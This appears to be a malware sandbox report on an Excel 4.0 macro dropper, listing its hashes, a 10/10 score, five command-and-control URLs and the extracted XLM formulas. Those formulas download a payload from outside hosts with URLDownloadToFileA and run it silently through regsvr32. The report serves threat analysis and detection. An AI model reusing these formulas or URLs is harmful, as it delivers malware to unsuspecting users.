86a2c5a65a40da979b3495ebffcf602ee5bcc331ab49b87d79049cec395badd9

General

Target

86a2c5a65a40da979b3495ebffcf602ee5bcc331ab49b87d79049cec395badd9
Size

90KB
Sample

241120-yjkz5ssjhz
MD5

fc64deec8dc027bff39f7291073450fd
SHA1

cc2cd037eff7535eaf6a9ff02651fe33a99685ea
SHA256

86a2c5a65a40da979b3495ebffcf602ee5bcc331ab49b87d79049cec395badd9
SHA512

72adab12e4216f46658fbff13a6ebabca615c66df406f95ee7d2db55fee1f6b6a29a2a19fd1d9a7fb83a3cfdbf35bc939fd36778e9303c304ae5f303e1a1181d
SSDEEP

1536:vQBrnXpnyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xXPd:GDpyVEoBo6hKb4llGsQjbxfd

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/

http://www.beholdpublications.com/home/BABxyyWZx8Vu/

http://explorationit.com/screwing/AxLm/

http://donboscoschoolputhuppally.org/wp-content/UuQ7LBsPoGu9Q/

http://myclassroomtime.com/mongery/ZlPsROtQiXIujmJmAA/

Attributes

formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/","..\xxw1.ocx",0,0) =IF('EGFAGAGDGE'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.beholdpublications.com/home/BABxyyWZx8Vu/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://explorationit.com/screwing/AxLm/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://donboscoschoolputhuppally.org/wp-content/UuQ7LBsPoGu9Q/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://myclassroomtime.com/mongery/ZlPsROtQiXIujmJmAA/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/